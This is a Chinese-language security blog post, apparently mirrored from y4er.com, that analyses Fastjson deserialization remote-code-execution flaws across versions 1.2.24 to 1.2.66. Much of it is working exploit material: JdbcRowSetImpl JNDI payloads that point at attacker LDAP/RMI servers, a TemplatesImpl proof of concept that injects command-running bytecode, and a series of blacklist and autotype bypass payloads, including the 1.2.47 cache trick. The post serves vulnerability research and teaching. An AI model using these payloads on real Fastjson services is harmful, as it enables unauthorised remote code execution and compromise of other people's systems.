Fastjson 反序列化RCE分析
source link: https://y4er.com/post/fastjson-learn/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
fastjson反序列化RCE
前言
fastjson是阿里巴巴的一个json库,频频爆RCE。本文分析fastjson至今的一些RCE漏洞。
fastjson的使用
引入库
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency>
创建一个实体类User
package org.chabug.fastjson.model; public class User { private int id; private int age; private String name; @Override public String toString() { return "User{" + "id=" + id + ", age=" + age + ", name='" + name + '\'' + '}'; } public int getId() { return id; } public void setId(int id) { this.id = id; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public String getName() { return name; } public void setName(String name) { this.name = name; } }
使用fastjson解析为字符串、从字符串解析为对象:
package org.chabug.fastjson.run; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.serializer.SerializerFeature; import org.chabug.fastjson.model.User; import java.util.HashMap; import java.util.Map; public class JSONTest { public static void main(String[] args) { Map<String, Object> map = new HashMap<String, Object>(); map.put("key1", "One"); map.put("key2", "Two"); String mapJson = JSON.toJSONString(map); System.out.println(mapJson); System.out.println("--------------------------"); User user = new User(); user.setId(1); user.setAge(17); user.setName("张三"); // 对象转字符串 String s1 = JSON.toJSONString(user); String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName); System.out.println(s1); System.out.println(s2); System.out.println("--------------------------"); // 字符串转对象 User o1 = (User) JSON.parse(s2); System.out.println("o1:"+o1); System.out.println(o1.getClass().getName()); JSONObject o2 = JSON.parseObject(s2); System.out.println("o2:"+o2); System.out.println(o2.getClass().getName()); Object o3 = JSON.parseObject(s2, Object.class); System.out.println("o3:"+o3); System.out.println(o3.getClass().getName()); } }
运行结果
{"key1":"One","key2":"Two"} -------------------------- {"age":17,"id":1,"name":"张三"} {"@type":"org.chabug.fastjson.model.User","age":17,"id":1,"name":"张三"} -------------------------- o1:User{id=1, age=17, name='张三'} org.chabug.fastjson.model.User o2:{"name":"张三","id":1,"age":17} com.alibaba.fastjson.JSONObject o3:User{id=1, age=17, name='张三'} org.chabug.fastjson.model.User
fastjson通过 JSON.toJSONString()
将对象转为字符串(序列化),当使用 SerializerFeature.WriteClassName
参数时会将对象的类名写入 @type
字段中,在重新转回对象时会根据 @type
来指定类,进而调用该类的 set
、 get
方法。因为这个特性,我们可以指定 @type
为任意存在问题的类,造成一些问题。
在字符串转对象的过程中(反序列化),主要使用 JSON.parse()
和 JSON.parseObject()
两个方法,两者区别在于 parse()
会返回实际类型(User)的对象,而 parseObject()
在不指定class时返回的是 JSONObject
,指定class才会返回实际类型(User)的对象,也就是 JSON.parseObject(s2)
和 JSON.parseObject(s2, Object.class)
的区别,这里也可以指定为 User.class
。
我们再来看 @type
的问题,我定义了一个Evil类,在其set方法中可以执行命令
package org.chabug.fastjson.model; import java.io.IOException; public class Evil { private String cmd; public String getCmd() { System.out.println("getCmd()"); return cmd; } public void setCmd(String cmd) { System.out.println("setCmd()"); this.cmd = cmd; try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } } public Evil() { System.out.println("Evil()"); } }
用springboot起了一个web
成功弹出了计算器
我们通过控制 @type
来实现反序列化恶意Evil类,从而RCE,很简单只是举个例子说明 @type
的使用。
那么到这里还有一个问题,为什么写在 setCmd
方法会自动调用呢?
setter、getter、is自动调用
对应的Evil
写一个test测试下
可以看到 parseObject(evil)
的get、set、构造方法都自动调用了,另外两种解析方式只调用了set、构造方法。
在前文中我们知道 parseObject(evil)
返回的是 JSONObject
对象,跟进其方法发现也是使用parse解析的,但是多了一个 (JSONObject)toJSON(obj)
这个方法调用的get,堆栈如下
getCmd:11, Evil (org.chabug.fastjson.model) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) get:451, FieldInfo (com.alibaba.fastjson.util) getPropertyValue:105, FieldSerializer (com.alibaba.fastjson.serializer) getFieldValuesMap:439, JavaBeanSerializer (com.alibaba.fastjson.serializer) toJSON:902, JSON (com.alibaba.fastjson) toJSON:824, JSON (com.alibaba.fastjson) parseObject:206, JSON (com.alibaba.fastjson) main:13, Test (org.chabug.fastjson.run)
比较简单,不详细分析,大致就是通过反射调用getter方法获取字段的值存入hashmap。那么setter在哪调用的?
在 com.alibaba.fastjson.util.JavaBeanInfo#build
中
在通过 @type
拿到类之后,通过反射拿到该类所有的方法存入methods,接下来遍历methods进而获取get、set方法,如上图。总结set方法自动调用的条件为:
- 方法名长度大于4
- 非静态方法
- 返回值为void或当前类
- 方法名以set开头
- 参数个数为1
当满足条件之后会从方法名截取属性名,截取时会判断 _
,如果是 set_name
会截取为 name
属性,具体逻辑如下:
当截取完但是找不到这个属性
会判断传入的第一个参数类型是否为布尔型,是的话就在截取完的变量前加上 is
,截取propertyName的第一个字符转大写和第二个字符,并且然后重新尝试获取属性字段。
比如:public boolean setBoy(boolean t) 会寻找 isBoy
字段。
set的整个判断就是:如果有setCmd()会绑定cmd属性,如果该类没有cmd属性会绑定isCmd属性。
get的判断
总结下就是:
- 方法名长度大于等于4
- 非静态方法
- 以get开头且第4个字母为大写
- 无传入参数
- 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
当程序绑定了对应的字段之后,如果传入json字符串的键值中存在这个值,就会去调用执行对应的setter、构造方法。
小结:
- parse(jsonStr) 构造方法+Json字符串指定属性的setter()+特殊的getter()
- parseObject(jsonStr) 构造方法+Json字符串指定属性的setter()+所有getter() 包括不存在属性和私有属性的getter()
- parseObject(jsonStr,Object.class) 构造方法+Json字符串指定属性的setter()+特殊的getter()
fastjson漏洞历程
fastjson漏洞经历了多次绕过及修复,甚至出现了加密黑名单防止安全研究= =
1.2.22-1.2.24
在小于fastjson1.2.22-1.2.24版本中有两条利用链。
com.sun.rowset.JdbcRowSetImpl com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
JNDI利用链
JNDI传输过程中使用的就是序列化和反序列化,所以通杀三种解析方式
JSON.parse(evil); JSON.parseObject(evil); JSON.parseObject(evil, Object.class);
原理就是setter的自动调用
package org.chabug.fastjson.run; import com.sun.rowset.JdbcRowSetImpl; import java.sql.SQLException; public class Test { public static void main(String[] args) { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); try { jdbcRowSet.setDataSourceName("ldap://localhost:1389/#Calc"); jdbcRowSet.setAutoCommit(true); } catch (SQLException e) { e.printStackTrace(); } } }
setDataSourceName()和setAutoCommit()满足setter自动调用的条件,当我们传入对应json键值对时就会触发setter,进而触发jndi链接。payload如下
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/#Calc", "autoCommit":true}
TemplatesImpl利用链
条件苛刻
JSON.parseObject(input, Object.class, Feature.SupportNonPublicField) JSON.parse(text1,Feature.SupportNonPublicField)
poc
package org.chabug.fastjson.run; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassPool; import javassist.CtClass; import org.apache.tomcat.util.codec.binary.Base64; public class JDK7u21 { // 参考https://y4er.com/post/ysoserial-commonscollections-2/ public static byte[] getevilbyte() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.get(test.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "Y4er" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); return cc.toBytecode(); } //main函数调用以下poc而已 public static void main(String args[]) { try { byte[] evilCode = getevilbyte(); String evilCode_base64 = Base64.encodeBase64String(evilCode); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\"" + evilCode_base64 + "\"],'_name':'asd','_tfactory':{ },\"_outputProperties\":{ }," + "\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n"; System.out.println(text1); ParserConfig config = new ParserConfig(); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } } public static class test { } }
看完poc应该考虑的几个问题:
-
为什么
parseObject
需要Feature.SupportNonPublicField
? -
为什么需要
_outputProperties
属性? -
_bytecodes
为什么需要base64编码? -
_tfactory
为什么为{}?
问题1: Feature.SupportNonPublicField
在fastjson中默认并不能序列化private属性,而我们使用的 TemplatesImpl
利用链的多个属性都是private,所以在反序列化的时候需要加上 Feature.SupportNonPublicField
,这也成了这个利用链的最大限制。
问题2:为什么需要 _outputProperties
属性
答案是为了触发 getOutputProperties()
。再问:如果getOutputProperties()是_outputProperties属性的getter方法那不符合规则啊!下面就来分析下:
getOutputProperties()方法其对应的属性应该为 public
的 outputProperties
,其实你删了 _
也可以, _
并不是必须的,那么fastjson到底是怎么处理的呢?
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField
中解析每一个字段时,会进行一次灵活匹配 this.smartMatch()
在进行is关键字判断之后,替换掉 -
和 _
再匹配getter和setter
getOutputProperties()
而其返回值又是Properties,所以可以完美调用 getOutputProperties()
,进而触发 newTransformer()
-> getTransletInstance()
-> newInstance()
,导致RCE。
问题3: _bytecodes
为什么需要base64编码
在解析byte[]的时候进行了base64解码
跟进
问题4:_tfactory为什么为{}
在 fastjson-1.2.23.jar!/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.class:579
解析字段值时,会自动判断传入键值是否为空,如果为空会根据类属性定义的类型自动创建实例
到这算是把fastjson写的差不多,剩下的就是无尽的bypass。
1.2.25-1.2.41
在1.2.25版本中,重新使用jdbc利用链复现报错
使用idea对比两个jar包发现改为了checkAutoType()方法
跟进checkAutoType()发现
增加了类前缀黑名单白名单判断,在1.2.25版本中AutoTypeSupport默认false,需要显示关闭白名单
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
在关闭了AutoTypeSupport之后仍然需要绕过黑名单,以startsWith判断
但是在跟了TypeUtils.loadClass()之后会发现
如果classname以 [
开头loadClass会自动去掉,还有就是开头 L
结尾 ;
的也会去掉,那么我们有了新的绕过方法:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 必须显示关闭白名单 {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/#Calc", "autoCommit":true}
7u21的链同理,在1.2.25之后所谓的绕过都是在显示关闭白名单的条件下绕过的。
1.2.42绕过
在1.2.41中 L;
的方法测试可以,1.2.42中不行
对比jar发现ParserConfig中黑名单改为hash
classname截取L;
通过计算hash让我们不知道黑名单是什么类,但是加密方式在 com.alibaba.fastjson.util.TypeUtils#fnv1a_64
是有的
通过变量常用的jar、类、字符串碰撞hash得到黑名单,有一个项目已经做好了:https://github.com/LeadroyaL/fastjson-blacklist
绕过也比较简单, com.alibaba.fastjson.parser.ParserConfig#checkAutoType
截取一次, com.alibaba.fastjson.util.TypeUtils#loadClass
截取一次,那么双写就可以绕过
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/#Calc", "autoCommit":true}
1.2.43
判断了是否以 LL
开头,直接抛出异常
但是 [
还可以
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
1.2.44
修复之前 [
的问题,虽然之前 [
是不能用的
1.2.45
增加了黑名单
//需要有第三方组件ibatis-core 3:0 {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
1.2.47 通杀
通杀autotype和黑名单
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Exploit", "autoCommit": true } }
在TypeUtils的static初始化时调用 com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings
中会将常用的类通过loadclass()放入mapping中
private static void addBaseClassMappings() { mappings.put("byte", Byte.TYPE); mappings.put("short", Short.TYPE); mappings.put("int", Integer.TYPE); mappings.put("long", Long.TYPE); mappings.put("float", Float.TYPE); mappings.put("double", Double.TYPE); mappings.put("boolean", Boolean.TYPE); mappings.put("char", Character.TYPE); mappings.put("[byte", byte[].class); mappings.put("[short", short[].class); mappings.put("[int", int[].class); mappings.put("[long", long[].class); mappings.put("[float", float[].class); mappings.put("[double", double[].class); mappings.put("[boolean", boolean[].class); mappings.put("[char", char[].class); mappings.put("[B", byte[].class); mappings.put("[S", short[].class); mappings.put("[I", int[].class); mappings.put("[J", long[].class); mappings.put("[F", float[].class); mappings.put("[D", double[].class); mappings.put("[C", char[].class); mappings.put("[Z", boolean[].class); Class<?>[] classes = new Class[]{Object.class, Cloneable.class, loadClass("java.lang.AutoCloseable"), Exception.class, RuntimeException.class, IllegalAccessError.class, IllegalAccessException.class, IllegalArgumentException.class, IllegalMonitorStateException.class, IllegalStateException.class, IllegalThreadStateException.class, IndexOutOfBoundsException.class, InstantiationError.class, InstantiationException.class, InternalError.class, InterruptedException.class, LinkageError.class, NegativeArraySizeException.class, NoClassDefFoundError.class, NoSuchFieldError.class, NoSuchFieldException.class, NoSuchMethodError.class, NoSuchMethodException.class, NullPointerException.class, NumberFormatException.class, OutOfMemoryError.class, SecurityException.class, StackOverflowError.class, StringIndexOutOfBoundsException.class, TypeNotPresentException.class, VerifyError.class, StackTraceElement.class, HashMap.class, Hashtable.class, TreeMap.class, IdentityHashMap.class, WeakHashMap.class, LinkedHashMap.class, HashSet.class, LinkedHashSet.class, TreeSet.class, TimeUnit.class, ConcurrentHashMap.class, loadClass("java.util.concurrent.ConcurrentSkipListMap"), loadClass("java.util.concurrent.ConcurrentSkipListSet"), AtomicInteger.class, AtomicLong.class, Collections.EMPTY_MAP.getClass(), BitSet.class, Calendar.class, Date.class, Locale.class, UUID.class, Time.class, java.sql.Date.class, Timestamp.class, SimpleDateFormat.class, JSONObject.class}; Class[] var1 = classes; int var2 = classes.length; int var3; for(var3 = 0; var3 < var2; ++var3) { Class clazz = var1[var3]; if (clazz != null) { mappings.put(clazz.getName(), clazz); } } String[] awt = new String[]{"java.awt.Rectangle", "java.awt.Point", "java.awt.Font", "java.awt.Color"}; String[] spring = awt; var3 = awt.length; int var11; for(var11 = 0; var11 < var3; ++var11) { String className = spring[var11]; Class<?> clazz = loadClass(className); if (clazz == null) { break; } mappings.put(clazz.getName(), clazz); } spring = new String[]{"org.springframework.util.LinkedMultiValueMap", "org.springframework.util.LinkedCaseInsensitiveMap", "org.springframework.remoting.support.RemoteInvocation", "org.springframework.remoting.support.RemoteInvocationResult", "org.springframework.security.web.savedrequest.DefaultSavedRequest", "org.springframework.security.web.savedrequest.SavedCookie", "org.springframework.security.web.csrf.DefaultCsrfToken", "org.springframework.security.web.authentication.WebAuthenticationDetails", "org.springframework.security.core.context.SecurityContextImpl", "org.springframework.security.authentication.UsernamePasswordAuthenticationToken", "org.springframework.security.core.authority.SimpleGrantedAuthority", "org.springframework.security.core.userdetails.User"}; String[] var10 = spring; var11 = spring.length; for(int var12 = 0; var12 < var11; ++var12) { String className = var10[var12]; Class<?> clazz = loadClass(className); if (clazz == null) { break; } mappings.put(clazz.getName(), clazz); } }
然后开始解析json,当传入type时进入checkAutoType()检查类
在调用解析时我们没有传入预期的反序列化对象的对应类名时,会从mapping中或者deserializers.findClass()寻找
当找到类之后会直接return class,不会再进行autotype和黑名单校验,而在deserializers中有java.lang.Class
继续解析
获取到java.lang.class对应的反序列化处理类 com.alibaba.fastjson.serializer.MiscCodec
,然后开始deserializer.deserialze()反序列化
parser.parse()获取val的值
赋值给strVal,然后经过一系列判断之后
传入TypeUtils.loadClass()
在loadclass中将strVal加入到mapping中
此时mapping中有了jdbc的类名,而Mappings是ConcurrentMap类的,顾名思义就是在当前连接会话生效。所以我们需要在一次连接会话同时传入两个json键值对时,此次连接未断开时,继续解析第二个json键值对,然后和上文中提到的一样,在校验autotype和黑名单之前就已经return了clazz,变相绕过了黑名单,利用JNDI注入RCE。
1.2.48
黑名单多了两条,MiscCodec中将默认传入的cache变为false,checkAutoType()调整了逻辑
1.2.62
黑名单绕过
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";
1.2.66
也是黑名单绕过
// 需要autotype true {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"} {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"} {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"} {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}
总结
从 @type
属性牵扯出来一系列的RCE,整个过程分析下来还是很有收获,不停的bypass才是反序列化的最大乐趣。
参考链接
- https://www.anquanke.com/post/id/181874
- https://xz.aliyun.com/t/7027
- Fastjson反序列化漏洞 1.2.24-1.2.48
- https://mp.weixin.qq.com/s/i7-g89BJHIYTwaJbLuGZcQ
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK